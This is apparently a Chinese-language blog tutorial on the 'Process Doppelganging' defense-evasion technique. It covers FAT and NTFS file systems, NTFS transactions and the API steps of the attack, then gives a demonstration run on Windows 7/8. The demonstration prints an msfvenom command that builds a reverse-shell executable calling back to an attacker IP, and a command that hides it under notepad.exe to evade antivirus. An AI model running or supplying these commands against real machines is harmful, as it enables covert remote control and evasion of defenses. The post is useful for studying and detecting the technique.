文章前言
尤金·科岗和塔尔·利伯曼在Blackhat EU 2017上展示了一种称为"Process Doppelganging"的入侵检测规避技术,在这种方法中NTFS事务被用来创建一个包含我们的有效负载的虚拟文件,它用我们的有效负载创建一个新的NTFS内存段,然后回滚虚拟文件,使恶意软件只存在于内存中(我们新创建的部分),然后这个部分可以被加载到一个新的进程中,并在伪装下执行,我们将在实际代码中看到这一点
- MITRE战术:防御规避(TA0005)和特权升级(TA0004)
- MITRE技术ID:进程注入(T1055)
- MITRE子ID:Process Doppelganging(T1055.013)
文件系统
在我们继续之前有必要了解一下Windows文件系统,它们允许文件和目录以小簇(逻辑块)的形式存储在物理内存中,同时维护一个索引表来引用每个文件存储的位置和簇,Windows支持两种主要的文件系统:FAT和NTFS
- FAT:文件分配表是维护硬盘、可移动存储等的传统格式,它们有三种格式:FAT12、FAT16和FAT32,每个版本都提供不同的簇大小和不同的最大文件大小,例如,FAT12仅支持大小为32 MB的文件,而较新的FAT32支持大小为32GB(理论限制为16TB)且群集大小为8 KB的文件,它们被明智地用于必须在不同操作系统(windows、Linux、macOS)上使用的存储介质
- NTFS:Windows开发了新技术文件系统(Windows NT文件系统(NT File System))这是Windows操作系统中最流行的文件系统,它克服了各种脂肪限制,具有以下特点:
- 大文件大小限制:16eb
- 更大的集群:根据文件大小,从4KB到2048 KB不等,因此如果一个文件是4Gb,它将被分成100万个4Kb的簇,或者即使文件大小为4.1 Kb,也会被分成2个大小为4KB的簇(簇中有4 0.1 KB)
- 日志文件系统:维护更改记录($Logfile )以便系统故障/损坏后恢复数据
- 支持内置加密(如果加密,文件名变为蓝色)
- 支持内存上的文件权限模型(RWX)
- 有限的跨操作系统兼容性
NTFS的工作方式:NTFS使用B树目录架构来跟踪文件簇,它已经有各种内置的存储空间,比如:
- $BOOT:包含帮助操作系统启动的引导管理器序列
- $MFT:主文件表是目录中所有文件的索引,任何查找都是通过参考该表来完成的
- $MFTMir:主文件表镜像是用于备份目的的冗余MFT
- $FileSystemData:包含不在MFT的杂项数据
因此当格式化硬盘并将文件存储在其中时,MFT会更新文件群集的知识以及每个群集中的值,下次用户查找该文件时MFT会参考该物理位置并加载该文件
NTFS事务
本质上内存是一个2D矩阵,包含对文件和操作系统变量的引用,与数据库中的事务非常相似,NTFS中的事务也是可能的,它允许用户使用内存段,用户可以在特定的NTFS扇区(内存段)上手动执行操作,并使用微软提供的各种Windows APIs在其中输入数据
事务将一系列操作封装到一个单元中,因此多个操作可以被视为一个集成的单元事务,如果每个事务都返回true,或者即使单个事务失败也完全失败,则执行该单元事务
可以参考NTFS事务上的Windows API函数
https://docs.microsoft.com/en-gb/windows/win32/api/ktmw32/nf-ktmw32-createtransaction?redirectedfrom=MSDN
技术实现
既然我们已经了解了NTFS上的事务,那么让我们来了解一下Process Doppelganging,在这种方法中NTFS事务被用来创建一个包含我们的有效负载的虚拟文件,它用我们的有效负载创建一个新的NTFS内存段,然后回滚虚拟文件,使恶意软件只存在于内存中(我们新创建的部分),然后这个部分可以被加载到一个新的进程中,并在伪装下执行,让我们通过Hasherezade提供的代码来理解这一点
https://github.com/hasherezade/process_doppelganging/blob/master/main.cpp
Step 1:创建一个新的NTFS事务,它只不过是对内存空间的一个操作,Windows为此提供了以下功能
CreateTransaction()
Step 2:在这个事务中我们创建一个虚拟文件来存储有效负载,这在该部分中保留了相当于恶意有效负载大小的空间
CreateFileTransacted()
Step 3:使用上面的函数后我们的虚拟文件现在就可以生成了,我们现在需要创建一个新的存储它的区域
CreateSection()
Step 4:现在我们已经创建了一个部分,包括我们的虚拟文件,其中包含我们的有效负载,我们不再需要我们的文件,有效负载可以存在于内存中,即“无文件有效负载”我们现在可以回滚事务并删除这个伪文件,这不会删除我们的部分,我们的有效载荷还在里面
RollbackTransaction()
Step 5:现在恶意代码存储在一个节中,我们需要创建一个新的流程,并将这个部分附加到它上面,这就是"Process Doppelganging"
- NtCreateProcessEx():可以使用包含PE内容的部分以及PE文件来加载进程
Step 6:我们需要手动填充一些流程参数,并将其链接到当前的PEB,以便流程正常运行,所使用的支持函数是
- Setup_process_paramters
Step 7:将EAX指向入口点,并创建一个新线程开始执行
- CreateThreadEx
执行示例
在我们开始之前需要注意的是Windows 10正在检测这种攻击,因为Windows defender已经更新了与Doppelganging相关的签名,检测时它看起来像
因此我们将使用Windows 7/8/8.1来执行攻击,首先我们需要使用msfvenom创建一个恶意的Exe
代码语言:javascript复制msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > hello.exe
一旦创建完成,我们就可以将它发送给受害者,并使用Hasherezade的可执行文件发起进程复制攻击,要运行这个我们只需要提供恶意文件和我们将隐藏有效载荷的文件,这里我使用一个名为"hex.txt"的文件,这是一个简单的记事本文件,因此hello.exe将在notepad.exe进程下运行,从而规避防御
代码语言:javascript复制proc_doppel32.exe hello.exe hex.txt
在process explorer中检查当前流程后,我们将看到在notepad.exe下有一个cmd处于活动状态,很是不寻常,对吧?4
如果一切正常我们将成功地看到一个反向shell
缺点缝隙
如果一切正常,那还有什么问题呢?我们不希望任何阅读这篇文章的人都误以为这种攻击是针对现代系统的,必须考虑各种缺点
无法替换您喜欢的任何文件,就像svchost.exe给出拒绝访问错误
像CreateThreadEx和NtCreateProcessEx这样的函数具有独特的签名,很容易被AV now检测到(在Windows 10以上版本中)
这是一种过时的技术,在Win 10上运行也会给一些用户带来BSOD错误,因此我们建议使用进程重影
这种攻击也遵循相同的方法,但不是使用NTFS事务并回滚,而是使用"DELETE_PENDING"标志将有效负载注入内存
文末小结
这篇文章强调了一种著名的防御规避技术,这种技术在过去曾被各种apt和恶意软件活动所使用,我们讨论了各种微软Win32 APIs的误用,这些误用使得这种滥用成为可能,并且还演示了攻击的概念验证,一个熟练的攻击者可以很容易地定制PoC代码,逃避以前检测到的函数签名,如NtCreateProcessEx,并使用可以做同样事情的替代函数,并实现用于防御规避的过程掺杂技术,希望你喜欢这篇文章